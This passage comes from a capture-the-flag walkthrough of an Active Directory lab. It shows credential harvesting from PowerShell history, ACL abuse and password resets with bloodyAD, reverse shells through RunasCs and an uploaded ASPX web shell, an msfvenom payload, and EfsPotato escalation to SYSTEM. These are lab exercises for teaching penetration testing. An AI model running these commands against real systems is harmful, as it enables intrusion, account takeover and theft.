130326 as sam.brooks_ProfileBackup_0728.wim (90,4 KiloBytes/sec) (average 90,4 KiloBytes/sec)<br>smb: \UserProfileBackups\&gt; get clerk.john_ProfileBackup_0729.wim<br>parallel_read returned NT_STATUS_IO_TIMEOUT<br>smb: \UserProfileBackups\&gt; getting file \UserProfileBackups\clerk.john_ProfileBackup_0729.wim of size 69883158 as clerk.john_ProfileBackup_0729.wim SMBecho failed (NT_STATUS_CONNECTION_DISCONNECTED). The connection is disconnected now</pre><p>To see what was available on those 2 profiles, I installed wimtools. You could either extract them locally, or map them. I chose to extract them, then navigated through the available content.</p><p>Inside the profile of sam.brooks, I found an email mentioning web_admin account, which was moved to Quarantine OU due to some security concerns. Also, another mention was made related to the web server, which had ASP.NET enabled and file uploads of <em>.aspx</em> pages were possible. This helped me later.</p><p>For clerk.john, I found another email from Emma Hayes, where she mentioned she would share her credentials to be used for urgent tasks while she was on vacation. Those were stored in <em>Credential Manager</em>. I found some corresponding key files, but also the <em>PowerShell History</em> file for the console log. After examining it, I got the plaintext credentials of emma.hayes.</p><pre>cmdkey /add:city-dc /user:city.local\emma.hayes /pass:&lt;REDACTED&gt;<br>cmdkey /add:DC-CC.city.local /user:emma.hayes /pass:&lt;REDACTED&gt;</pre><p>Of course, I tested the connection with the new pair and got the confirmation that it was all good.</p><pre>┌─[rootshellace@parrot]─[~/HackSmarter/HandsOnLabs/ActiveDirectory/CityCouncil]<br>└──╼ $netexec smb city.local -u emma.hayes -p &lt;REDACTED&gt;<br>SMB         10.1.65.124     445    DC-CC            [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC-CC) (domain:city.local) (signing:True) (SMBv1:None) (Null Auth:True)<br>SMB         10.1.65.124     445    DC-CC            [+] city.local\emma.hayes:&lt;REDACTED&gt; </pre><p>Back to <em>BloodHound</em>, looking for useful access on Emma. Over there, I found out she had WriteDacl rights on CityOps OU and 3 other users: sam.brooks , alex.king and rita.cho . I used that permission to grant FullControl for her on CityOps , using dacledit.py .</p><pre>┌─[rootshellace@parrot]─[~/HackSmarter/HandsOnLabs/ActiveDirectory/CityCouncil]<br>└──╼ $sudo ./dacledit.py -action 'write' -rights 'FullControl' -inheritance -principal 'emma.hayes' -target-dn 'OU=CITYOPS,DC=CITY,DC=LOCAL' 'city.local'/'emma.hayes':&lt;REDACTED&gt;</pre><p>Then, I looked over all those 3 users under CityOps OU and their permissions. The one that proved to be the most useful was sam.brooks , because it was part of Remote Management Users. First, I had to enable it, since it was disabled.</p><pre>┌─[rootshellace@parrot]─[~/HackSmarter/HandsOnLabs/ActiveDirectory/CityCouncil]<br>└──╼ $bloodyAD --host 10.1.65.124 -d 'city.local' -u 'emma.hayes' -p &lt;REDACTED&gt; remove uac 'sam.brooks' -f ACCOUNTDISABLE<br>[+] ['ACCOUNTDISABLE'] property flags removed from sam.brooks's userAccountControl</pre><p>Next, I reset the password for this account, using the same tool as previously, bloodyAD.</p><pre>┌─[rootshellace@parrot]─[~/HackSmarter/HandsOnLabs/ActiveDirectory/CityCouncil]<br>└──╼ $bloodyAD -u 'emma.hayes' -p &lt;REDACTED&gt; -d 'city.local' --host 10.1.65.124 set password 'sam.brooks' 'Password123'<br>[+] Password changed successfully!</pre><p>Finally, I tested it and made sure the credentials were valid.</p><pre>┌─[rootshellace@parrot]─[~/HackSmarter/HandsOnLabs/ActiveDirectory/CityCouncil]<br>└──╼ $netexec smb city.local -u sam.brooks -p Password123<br>SMB         10.1.65.124     445    DC-CC            [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC-CC) (domain:city.local) (signing:True) (SMBv1:None) (Null Auth:True)<br>SMB         10.1.65.124     445    DC-CC            [+] city.local\sam.brooks:Password123 </pre><p>Since this user was a member of Remote Management Users, I connected to the machine using evil-winrm and got the user flag located on <em>Desktop</em>.</p><pre>┌─[rootshellace@parrot]─[~/HackSmarter/HandsOnLabs/ActiveDirectory/CityCouncil]<br>└──╼ $evil-winrm -i 10.1.65.124 -u sam.brooks -p Password123<br>                                        <br>Evil-WinRM shell v3.5<br>                                        <br>Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline<br>                                        <br>Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion<br>                                        <br>Info: Establishing connection to remote endpoint<br>*Evil-WinRM* PS C:\Users\sam.brooks\Documents&gt; whoami<br>city\sam.brooks<br>*Evil-WinRM* PS C:\Users\sam.brooks\Documents&gt; dir<br>*Evil-WinRM* PS C:\Users\sam.brooks\Documents&gt; cd ..\Desktop<br>*Evil-WinRM* PS C:\Users\sam.brooks\Desktop&gt; dir<br><br><br>    Directory: C:\Users\sam.brooks\Desktop<br><br><br>Mode                LastWriteTime         Length Name<br>----                -------------         ------ ----<br>-a----       10/24/2025  11:57 AM           1594 user.txt<br><br><br>*Evil-WinRM* PS C:\Users\sam.brooks\Desktop&gt; type user.txt<br><br>&lt;REDACTED_FLAG&gt;<br><br><br>⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣀⣀⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀<br>⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡰⠚⠉⠀⠀⠉⠑⢦⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀<br>⠀⠀⠀⠀⠀⠀⠀⠀⠀⢠⠞⠀⠀⠀⠀⠀⠀⠀⠀⠱⡄⠀⠀⠀⠀⠀⠀⠀⠀⠀<br>⠀⠀⠀⠀⠀⠀⠀⠀⢀⠏⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠹⡀⠀⠀⠀⠀⠀⠀⠀⠀<br>⠀⠀⠀⠀⠀⠀⠀⠀⡜⠀⠀⠀⠀⠀⣀⣀⠀⠀⠀⠀⠀⢣⠀⠀⠀⠀⠀⠀⠀⠀<br>⠀⠀⠀⠀⠀⠀⠀⠀⡇⠀⣠⠔⠋⠉⣩⣍⠉⠙⠢⣄⠀⢸⠀⠀⠀⠀⠀⠀⠀⠀<br>⠀⠀⠀⠀⠀⠀⠀⠀⢧⡜⢏⠓⠒⠚⠁⠈⠑⠒⠚⣹⢳⡸⠀⠀⠀⠀⠀⠀⠀⠀<br>⠀⠀⠀⠀⠀⠀⠀⠀⠘⣆⠸⡄⠀⠀⠀⠀⠀⠀⢠⠇⣰⠃⠀⠀⠀⠀⠀⠀⠀⠀<br>⠀⠀⠀⠀⠀⠀⢀⡴⠚⠉⢣⡙⢦⡀⠀⠀⢀⡰⢋⡜⠉⠓⠦⣀⠀⠀⠀⠀⠀⠀<br>⠀⠀⠀⠀⠀⡴⠁⢀⣀⣀⣀⣙⣦⣉⣉⣋⣉⣴⣋⣀⣀⣀⡀⠈⢧⠀⠀⠀⠀⠀<br>⠀⠀⠀⠀⡸⠁⠀⢸⠀⠀⠀⠀⢀⣔⡛⠛⡲⡀⠀⠀⠀⠀⡇⠀⠈⢇⠀⠀⠀⠀<br>⠀⠀⠀⢠⠇⠀⠀⠸⡀⠀⠀⠀⠸⣼⠽⠯⢧⠇⠀⠀⠀⠀⡇⠀⠀⠘⡆⠀⠀⠀<br>⠀⠀⠀⣸⠀⠀⠀⠀⡇⠀⠀⠀⠳⢼⡦⢴⡯⠞⠀⠀⠀⢰⠀⠀⠀⠀⢧⠀⠀⠀<br>⠀⠀⠀⢻⠀⠀⠀⠀⡇⠀⠀⠀⢀⡤⠚⠛⢦⣀⠀⠀⠀⢸⠀⠀⠀⠀⡼⠀⠀⠀<br>⠀⠀⠀⠈⠳⠤⠤⣖⣓⣒⣒⣒⣓⣒⣒⣒⣒⣚⣒⣒⣒⣚⣲⠤⠤⠖⠁⠀⠀⠀<br>⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀<br>⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿<br>*Evil-WinRM* PS C:\Users\sam.brooks\Desktop&gt;</pre><p><strong><em>● Move </em></strong><strong><em>web_admin from </em></strong><strong><em>Quarantine to </em></strong><strong><em>CityOps and reset the password to get access to it</em></strong></p><p>I remembered about the <em>.aspx</em> files for the web server. However, being connected as user sam.brooks didn’t allow me to upload the required file. I verified the permissions and concluded I needed access as web_admin.</p><pre>*Evil-WinRM* PS C:\inetpub\wwwroot\uploads&gt; Get-ACL -Path .\test.aspx | Format-Table -Wrap<br><br><br>    Directory: C:\inetpub\wwwroot\uploads<br><br><br>Path      Owner                  Access<br>----      -----                  ------<br>test.aspx BUILTIN\Administrators BUILTIN\IIS_IUSRS Allow  ReadAndExecute, Synchronize<br>                                 CITY\web_admin Allow  Modify, Synchronize<br>                                 NT SERVICE\TrustedInstaller Allow  FullControl<br>                                 NT AUTHORITY\SYSTEM Allow  FullControl<br>                                 BUILTIN\Administrators Allow  FullControl<br>                                 BUILTIN\Users Allow  ReadAndExecute, Synchronize<br><br><br>*Evil-WinRM* PS C:\inetpub\wwwroot\uploads&gt; Get-ACL -Path . | Format-Table -Wrap<br><br><br>    Directory: C:\inetpub\wwwroot<br><br><br>Path    Owner                  Access<br>----    -----                  ------<br>uploads BUILTIN\Administrators BUILTIN\IIS_IUSRS Allow  ReadAndExecute, Synchronize<br>                               BUILTIN\IIS_IUSRS Allow  ReadAndExecute, Synchronize<br>                               CITY\web_admin Allow  Modify, Synchronize<br>                               BUILTIN\IIS_IUSRS Allow  -1610612736<br>                               NT SERVICE\TrustedInstaller Allow  FullControl<br>                               NT SERVICE\TrustedInstaller Allow  268435456<br>                               NT AUTHORITY\SYSTEM Allow  FullControl<br>                               NT AUTHORITY\SYSTEM Allow  268435456<br>                               BUILTIN\Administrators Allow  FullControl<br>                               BUILTIN\Administrators Allow  268435456<br>                               BUILTIN\Users Allow  ReadAndExecute, Synchronize<br>                               BUILTIN\Users Allow  -1610612736<br>                               CREATOR OWNER Allow  268435456</pre><p>I tried to get the Kerberos hash, but, unfortunately, couldn’t crack it. So I returned to what I saw in <em>BloodHound</em> for emma.hayes and started to investigate the permissions on those OUs.</p><p>First, I got the <em>DistinguishedName</em> property for the OUs.</p><pre>*Evil-WinRM* PS C:\inetpub\wwwroot\uploads&gt; Get-ADOrganizationalUnit -Filter 'Name -eq "CITYOPS"' | Select Name, DistinguishedName<br><br>Name    DistinguishedName<br>----    -----------------<br>CityOps OU=CityOps,DC=city,DC=local<br><br><br>*Evil-WinRM* PS C:\inetpub\wwwroot\uploads&gt; Get-ADOrganizationalUnit -Filter 'Name -eq "QUARANTINE"' | Select Name, DistinguishedName<br><br>Name       DistinguishedName<br>----       -----------------<br>Quarantine OU=Quarantine,DC=city,DC=local</pre><p>Then, I verified the access Emma had on those.</p><pre>*Evil-WinRM* PS C:\inetpub\wwwroot\uploads&gt; (Get-Acl -Path "AD:\OU=Quarantine,DC=city,DC=local").Access | Where-Object 'IdentityReference' -like '*emma*' | Select ActiveDirectoryRights, InheritanceType, AccessControlType, IdentityReference, IsInherited | Format-Table -Wrap<br><br>                      ActiveDirectoryRights InheritanceType AccessControlType IdentityReference IsInherited<br>                      --------------------- --------------- ----------------- ----------------- -----------<br>ReadProperty, WriteProperty, GenericExecute             All             Allow CITY\emma.hayes         False<br>                   CreateChild, DeleteChild     Descendents             Allow CITY\emma.hayes         False<br>                   CreateChild, DeleteChild             All             Allow CITY\emma.hayes         False<br>                   CreateChild, DeleteChild     Descendents             Allow CITY\emma.hayes         False<br><br>*Evil-WinRM* PS C:\inetpub\wwwroot\uploads&gt; (Get-Acl -Path "AD:\OU=CityOps,DC=city,DC=local").Access | Where-Object 'IdentityReference' -like '*emma*' | Select ActiveDirectoryRights, InheritanceType, AccessControlType, IdentityReference, IsInherited | Format-Table -Wrap <br><br>ActiveDirectoryRights InheritanceType AccessControlType IdentityReference IsInherited<br>--------------------- --------------- ----------------- ----------------- -----------<br>           GenericAll             All             Allow CITY\emma.hayes         False<br>            WriteDacl             All             Allow CITY\emma.hayes         False</pre><p>Next, I got the info about web_admin.</p><pre>*Evil-WinRM* PS C:\inetpub\wwwroot\uploads&gt; Get-ADUser -Identity web_admin<br><br><br>DistinguishedName : CN=Web Admin,OU=Quarantine,DC=city,DC=local<br>Enabled           : True<br>GivenName         :<br>Name              : Web Admin<br>ObjectClass       : user<br>ObjectGUID        : d0eac22e-8e85-49d2-a287-dfdeabd35707<br>SamAccountName    : web_admin<br>SID               : S-1-5-21-407732331-1521580060-1819249925-1107<br>Surname           :<br>UserPrincipalName : web_admin@city.local</pre><p>Finally, I got the access Emma had on it.</p><pre>*Evil-WinRM* PS C:\inetpub\wwwroot\uploads&gt; (Get-Acl -Path "AD:\CN=Web Admin,OU=Quarantine,DC=city,DC=local").Access | Where-Object {$_.IdentityReference -like "*emma.hayes*"} | Select-Object ActiveDirectoryRights, InheritanceType, AccessControlType, IdentityReference, IsInherited | Format-Table<br><br>                      ActiveDirectoryRights InheritanceType AccessControlType IdentityReference IsInherited<br>                      --------------------- --------------- ----------------- ----------------- -----------<br>                   CreateChild, DeleteChild             All             Allow CITY\emma.hayes          True<br>                   CreateChild, DeleteChild             All             Allow CITY\emma.hayes          True<br>                   CreateChild, DeleteChild             All             Allow CITY\emma.hayes          True<br>ReadProperty, WriteProperty, GenericExecute             All             Allow CITY\emma.hayes          True</pre><p>I proceeded with moving web_admin from <em>Quarantine</em> to <em>CityOps</em>.</p><pre>*Evil-WinRM* PS C:\inetpub\wwwroot\uploads&gt; $emma_pass = ConvertTo-SecureString &lt;REDACTED&gt; -AsPlainText -Force<br>*Evil-WinRM* PS C:\inetpub\wwwroot\uploads&gt; $emma_cred = New-Object System.Management.Automation.PSCredential('city.local\emma.hayes', $emma_pass)<br>*Evil-WinRM* PS C:\inetpub\wwwroot\uploads&gt; Move-ADObject -Identity "CN=Web Admin,OU=Quarantine,DC=city,DC=local" -TargetPath "OU=CityOps,DC=city,DC=local" -Credential $emma_cred<br>*Evil-WinRM* PS C:\inetpub\wwwroot\uploads&gt; Get-ADUser -Identity web_admin<br><br><br>DistinguishedName : CN=Web Admin,OU=CityOps,DC=city,DC=local<br>Enabled           : True<br>GivenName         :<br>Name              : Web Admin<br>ObjectClass       : user<br>ObjectGUID        : d0eac22e-8e85-49d2-a287-dfdeabd35707<br>SamAccountName    : web_admin<br>SID               : S-1-5-21-407732331-1521580060-1819249925-1107<br>Surname           :<br>UserPrincipalName : web_admin@city.local</pre><p>Once that step was completed and verified, I reset the password and tested it.</p><pre>┌─[rootshellace@parrot]─[~/HackSmarter/HandsOnLabs/ActiveDirectory/CityCouncil]<br>└──╼ $bloodyAD -u 'emma.hayes' -p &lt;REDACTED&gt; -d 'city.local' --host 10.1.65.124 set password 'web_admin' 'Password123'<br>[+] Password changed successfully!<br>┌─[rootshellace@parrot]─[~/HackSmarter/HandsOnLabs/ActiveDirectory/CityCouncil]<br>└──╼ $netexec smb city.local -u web_admin -p 'Password123'<br>SMB         10.1.65.124     445    DC-CC            [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC-CC) (domain:city.local) (signing:True) (SMBv1:None) (Null Auth:True)<br>SMB         10.1.65.124     445    DC-CC            [+] city.local\web_admin:Password123 </pre><p>However, there was still a big issue. Although I had the password for it, I couldn’t remotely connect to that user because it was lacking the proper group memberships. I started a <em>netcat</em> listener, then uploaded <em>RunasCs.exe</em> in <em>C:\Temp</em> from the terminal I had as sam.brooks.</p><pre>*Evil-WinRM* PS C:\Temp&gt; upload RunasCs.exe<br>                                        <br>Info: Uploading /home/rootshellace/HackSmarter/HandsOnLabs/ActiveDirectory/CityCouncil/RunasCs.exe to C:\Temp\RunasCs.exe<br>                                        <br>Data: 68948 bytes of 68948 bytes copied<br>                                        <br>Info: Upload successful!<br>*Evil-WinRM* PS C:\Temp&gt; dir<br><br><br>    Directory: C:\Temp<br><br><br>Mode                LastWriteTime         Length Name<br>----                -------------         ------ ----<br>-a----       10/24/2025   9:08 AM           2548 dc_user_rights.inf<br>-a----       11/28/2025  12:57 PM           5296 privs.inf<br>-a----        6/28/2026   4:01 AM          51712 RunasCs.exe<br>-a----       10/24/2025   9:08 AM          16384 secedit.jfm<br>-a----       10/24/2025   9:08 AM        1048576 secedit.sdb</pre><p>After that, I executed <em>RunasCs.exe</em> and launched a reverse shell.</p><pre>*Evil-WinRM* PS C:\Temp&gt; .\RunasCs.exe web_admin Password123 powershell.exe -r &lt;MY_VPN_IP&gt;:4444<br>[*] Warning: User profile directory for user web_admin does not exists. Use --force-profile if you want to force the creation.<br>[*] Warning: The logon for user 'web_admin' is limited. Use the flag combination --bypass-uac and --logon-type '5' to obtain a more privileged token.<br><br>[+] Running in session 0 with process function CreateProcessWithLogonW()<br>[+] Using Station\Desktop: Service-0x0-14f5d16$\Default<br>[+] Async process 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' with pid 2676 created in background.</pre><p>In the terminal where I previously started the <em>netcat</em> listener, I got access as <em>web_admin</em>.</p><pre>┌─[rootshellace@parrot]─[~/HackSmarter/HandsOnLabs/ActiveDirectory/CityCouncil]<br>└──╼ $nc -lnvp 4444<br>Listening on 0.0.0.0 4444<br>Connection received on 10.1.65.124 50330<br>Windows PowerShell <br>Copyright (C) Microsoft Corporation. All rights reserved.<br><br>PS C:\Windows\system32&gt; whoami<br>whoami<br>city\web_admin<br>PS C:\Windows\system32&gt; </pre><p><strong><em>● Pivoting to </em></strong><strong><em>defaultapppool</em></strong></p><p>Once I got access as <em>web_admin</em>, I went to the website uploads directory to place the <em>.aspx</em> reverse shell (available <a href="https://github.com/borjmz/aspx-reverse-shell/tree/master"><em>here</em></a><em>). </em>Of course, in a different terminal, I started another <em>netcat</em> listener, to have it prepared. Using <em>PowerShell</em> and a local Python web server, I uploaded the required file.</p><pre>PS C:\inetpub\wwwroot\uploads&gt; dir<br>dir<br><br><br>    Directory: C:\inetpub\wwwroot\uploads<br><br><br>Mode                LastWriteTime         Length Name                                                                  <br>----                -------------         ------ ----                                                                  <br>-a----       10/24/2025  11:23 AM           1218 test.aspx                                                             <br><br><br>PS C:\inetpub\wwwroot\uploads&gt; Invoke-WebRequest -Uri "http://&lt;MY_VPN_IP&gt;:8000/hack.aspx" -OutFile "C:\inetpub\wwwroot\uploads\hack.aspx"<br>Invoke-WebRequest -Uri "http://&lt;MY_VPN_IP&gt;:8000/hack.aspx" -OutFile "C:\inetpub\wwwroot\uploads\hack.aspx"<br>PS C:\inetpub\wwwroot\uploads&gt; dir<br>dir<br><br><br>    Directory: C:\inetpub\wwwroot\uploads<br><br><br>Mode                LastWriteTime         Length Name                                                                  <br>----                -------------         ------ ----                                                                  <br>-a----        6/28/2026   4:45 AM          15970 hack.aspx                                                             <br>-a----       10/24/2025  11:23 AM           1218 test.aspx                                                             <br><br><br>PS C:\inetpub\wwwroot\uploads&gt;</pre><p>In my browser, I accessed the page (<em>http://city.local/uploads/hack.aspx</em>) and, in that way, triggered the execution of the malicious file, which granted me access.</p><pre>┌─[rootshellace@parrot]─[~/HackSmarter/HandsOnLabs/ActiveDirectory/CityCouncil]<br>└──╼ $nc -lnvp 5555<br>Listening on 0.0.0.0 5555<br>Connection received on 10.1.65.124 50499<br>Spawn Shell...<br>Microsoft Windows [Version 10.0.17763.5936]<br>(c) 2018 Microsoft Corporation. All rights reserved.<br><br>c:\windows\system32\inetsrv&gt;whoami<br>whoami<br>iis apppool\defaultapppool<br><br>c:\windows\system32\inetsrv&gt;</pre><p><strong><em>● Abuse privileges and get full access</em></strong></p><p>The first thing I did after I got access as <em>defaultapppool</em> was to check which privileges were assigned to that user. It had SeImpersonatePrivilege, which was a good attacking vector.</p><pre>c:\windows\system32\inetsrv&gt;whoami /priv<br>whoami /priv<br><br>PRIVILEGES INFORMATION<br>----------------------<br><br>Privilege Name                Description                               State   <br>============================= ========================================= ========<br>SeAssignPrimaryTokenPrivilege Replace a process level token             Disabled<br>SeIncreaseQuotaPrivilege      Adjust memory quotas for a process        Disabled<br>SeMachineAccountPrivilege     Add workstations to domain                Disabled<br>SeAuditPrivilege              Generate security audits                  Disabled<br>SeChangeNotifyPrivilege       Bypass traverse checking                  Enabled <br>SeImpersonatePrivilege        Impersonate a client after authentication Enabled <br>SeCreateGlobalPrivilege       Create global objects                     Enabled <br>SeIncreaseWorkingSetPrivilege Increase a process working set            Disabled<br><br>c:\windows\system32\inetsrv&gt;</pre><p>I looked for available exploits applied to that permission. Initially, I tried with <em>PrintSpoofer.exe</em>, but it didn’t work. Next, I uploaded and compiled <em>EfsPotato.cs</em> (available <a href="https://github.com/zcgonvh/EfsPotato"><em>here</em></a>), according to instructions provided by its developer.</p><pre>C:\Temp&gt;C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe EfsPotato.cs -nowarn:1691,618<br>C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe EfsPotato.cs -nowarn:1691,618<br>Microsoft (R) Visual C# Compiler version 4.7.3190.0<br>for C# 5<br>Copyright (C) Microsoft Corporation. All rights reserved.<br><br>This compiler is provided as part of the Microsoft (R) .NET Framework, but only supports language versions up to C# 5, which is no longer the latest version. For compilers that support newer versions of the C# programming language, see http://go.microsoft.com/fwlink/?LinkID=533240<br><br><br>C:\Temp&gt;dir<br>dir<br> Volume in drive C has no label.<br> Volume Serial Number is CCCC-FB95<br><br> Directory of C:\Temp<br><br>06/28/2026  05:10 AM    &lt;DIR&gt;          .<br>06/28/2026  05:10 AM    &lt;DIR&gt;          ..<br>10/24/2025  09:08 AM             2,548 dc_user_rights.inf<br>06/28/2026  05:05 AM            25,441 EfsPotato.cs<br>06/28/2026  05:10 AM            17,920 EfsPotato.exe<br>06/28/2026  04:59 AM            27,136 PrintSpoofer64.exe<br>11/28/2025  01:57 PM             5,296 privs.inf<br>06/28/2026  04:01 AM            51,712 RunasCs.exe<br>10/24/2025  09:08 AM            16,384 secedit.jfm<br>10/24/2025  09:08 AM         1,048,576 secedit.sdb<br>06/28/2026  04:19 AM        11,076,096 winPEASx64.exe<br>               9 File(s)     12,271,109 bytes<br>               2 Dir(s)  34,349,150,208 bytes free</pre><p>Next, I created an executable for another reverse shell, using <em>msfvenom</em>.</p><pre>┌─[rootshellace@parrot]─[~/HackSmarter/HandsOnLabs/ActiveDirectory/CityCouncil]<br>└──╼ $msfvenom -p windows/x64/shell_reverse_tcp LHOST=&lt;MY_VPN_IP&gt; LPORT=7777 -f exe &gt; syshack_shell.exe</pre><p>I uploaded it via the same connection I had as sam.brooks . I also started another <em>netcat</em> listener.</p><pre>*Evil-WinRM* PS C:\Temp&gt; upload syshack_shell.exe<br>                                        <br>Info: Uploading /home/rootshellace/HackSmarter/HandsOnLabs/ActiveDirectory/CityCouncil/syshack_shell.exe to C:\Temp\syshack_shell.exe<br>                                        <br>Data: 10240 bytes of 10240 bytes copied<br>                                        <br>Info: Upload successful!<br>*Evil-WinRM* PS C:\Temp&gt; dir<br><br><br>    Directory: C:\Temp<br><br><br>Mode                LastWriteTime         Length Name<br>----                -------------         ------ ----<br>-a----       10/24/2025   9:08 AM           2548 dc_user_rights.inf<br>-a----        6/28/2026   5:05 AM          25441 EfsPotato.cs<br>-a----        6/28/2026   5:10 AM          17920 EfsPotato.exe<br>-a----        6/28/2026   4:59 AM          27136 PrintSpoofer64.exe<br>-a----       11/28/2025  12:57 PM           5296 privs.inf<br>-a----        6/28/2026   4:01 AM          51712 RunasCs.exe<br>-a----       10/24/2025   9:08 AM          16384 secedit.jfm<br>-a----       10/24/2025   9:08 AM        1048576 secedit.sdb<br>-a----        6/28/2026   5:45 AM           7680 syshack_shell.exe<br>-a----        6/28/2026   5:31 AM             14 test_user.txt<br>-a----        6/28/2026   4:19 AM       11076096 winPEASx64.exe</pre><p>Once uploaded, I executed EfsPotato.exe to trigger the reverse shell with elevated permissions.</p><pre>C:\Temp&gt;.\EfsPotato.exe "cmd.exe /c C:\Temp\syshack_shell.exe"<br>.\EfsPotato.exe "cmd.exe /c C:\Temp\syshack_shell.exe"<br>Exploit for EfsPotato(MS-EFSR EfsRpcEncryptFileSrv with SeImpersonatePrivilege local privalege escalation vulnerability).<br>Part of GMH's fuck Tools, Code By zcgonvh.<br>CVE-2021-36942 patch bypass (EfsRpcEncryptFileSrv method) + alternative pipes support by Pablo Martinez (@xassiz) [www.blackarrow.net]<br><br>[+] Current user: IIS APPPOOL\DefaultAppPool<br>[+] Pipe: \pipe\lsarpc<br>[!] binding ok (handle=109ff80)<br>[+] Get Token: 860<br>[!] process with pid: 2068 created.<br>==============================<br>[x] EfsRpcEncryptFileSrv failed: 1818</pre><p>I went back to my terminal with the listener and I saw I got System access. Finally, I went inside the Desktop directory of the Administrator account and read the root flag.</p><pre>└──╼ $nc -lnvp 7777<br>Listening on 0.0.0.0 7777<br>Connection received on 10.1.65.124 50695<br>Microsoft Windows [Version 10.0.17763.5936]<br>(c) 2018 Microsoft Corporation. All rights reserved.<br><br>C:\Temp&gt;whoami<br>whoami<br>nt authority\system<br><br>C:\Temp&gt;cd C:\Users\Administrator\Desktop<br>cd C:\Users\Administrator\Desktop<br><br>C:\Users\Administrator\Desktop&gt;dir<br>dir<br> Volume in drive C has no label.<br> Volume Serial Number is CCCC-FB95<br><br> Directory of C:\Users\Administrator\Desktop<br><br>02/27/2026  07:55 AM    &lt;DIR&gt;          .<br>02/27/2026  07:55 AM    &lt;DIR&gt;          ..<br>10/24/2025  11:53 AM             1,230 root.txt<br>               1 File(s)          1,230 bytes<br>               2 Dir(s)  34,347,618,304 bytes free<br><br>C:\Users\Administrator\Desktop&gt;type root.txt<br>type root.txt<br><br><br>&lt;REDACTED_FLAG&gt;<br><br><br>⠀⠀⠀⠀⠀⣀⣠⠤⠶⠶⣖⡛⠛⠿⠿⠯⠭⠍⠉⣉⠛⠚⠛⠲⣄⠀⠀⠀⠀⠀<br>⠀⠀⢀⡴⠋⠁⠀⡉⠁⢐⣒⠒⠈⠁⠀⠀⠀⠈⠁⢂⢅⡂⠀⠀⠘⣧⠀⠀⠀⠀<br>⠀⠀⣼⠀⠀⠀⠁⠀⠀⠀⠂⠀⠀⠀⠀⢀⣀⣤⣤⣄⡈⠈⠀⠀⠀⠘⣇⠀⠀⠀<br>⢠⡾⠡⠄⠀⠀⠾⠿⠿⣷⣦⣤⠀⠀⣾⣋⡤⠿⠿⠿⠿⠆⠠⢀⣀⡒⠼⢷⣄⠀<br>⣿⠊⠊⠶⠶⢦⣄⡄⠀⢀⣿⠀⠀⠀⠈⠁⠀⠀⠙⠳⠦⠶⠞⢋⣍⠉⢳⡄⠈⣧<br>⢹⣆⡂⢀⣿⠀⠀⡀⢴⣟⠁⠀⢀⣠⣘⢳⡖⠀⠀⣀⣠⡴⠞⠋⣽⠷⢠⠇⠀⣼<br>⠀⢻⡀⢸⣿⣷⢦⣄⣀⣈⣳⣆⣀⣀⣤⣭⣴⠚⠛⠉⣹⣧⡴⣾⠋⠀⠀⣘⡼⠃<br>⠀⢸⡇⢸⣷⣿⣤⣏⣉⣙⣏⣉⣹⣁⣀⣠⣼⣶⡾⠟⢻⣇⡼⠁⠀⠀⣰⠋⠀⠀<br>⠀⢸⡇⠸⣿⡿⣿⢿⡿⢿⣿⠿⠿⣿⠛⠉⠉⢧⠀⣠⡴⠋⠀⠀⠀⣠⠇⠀⠀⠀<br>⠀⢸⠀⠀⠹⢯⣽⣆⣷⣀⣻⣀⣀⣿⣄⣤⣴⠾⢛⡉⢄⡢⢔⣠⠞⠁⠀⠀⠀⠀<br>⠀⢸⠀⠀⠀⠢⣀⠀⠈⠉⠉⠉⠉⣉⣀⠠⣐⠦⠑⣊⡥⠞⠋⠀⠀⠀⠀⠀⠀⠀<br>⠀⢸⡀⠀⠁⠂⠀⠀⠀⠀⠀⠀⠒⠈⠁⣀⡤⠞⠋⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀<br>⠀⠀⠙⠶⢤⣤⣤⣤⣤⡤⠴⠖⠚⠛⠉⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀<br>C:\Users\Administrator\Desktop&gt;</pre><p>If you got here, I want to thank you for the time you took to read my article. I hope you enjoyed it and also learned something from it. Why not take a look at some of my other articles?</p><img src="https://medium.com/_/stat?event=post.clientViewed&amp;referrerSource=full_rss&amp;postId=15ef3f2b3c1c" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/hack-smarter-city-council-active-directory-15ef3f2b3c1c">Hack Smarter — City Council (Active Directory)</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
</item>
</channel>
</rss>
<!-- Generated in 0,81ms -->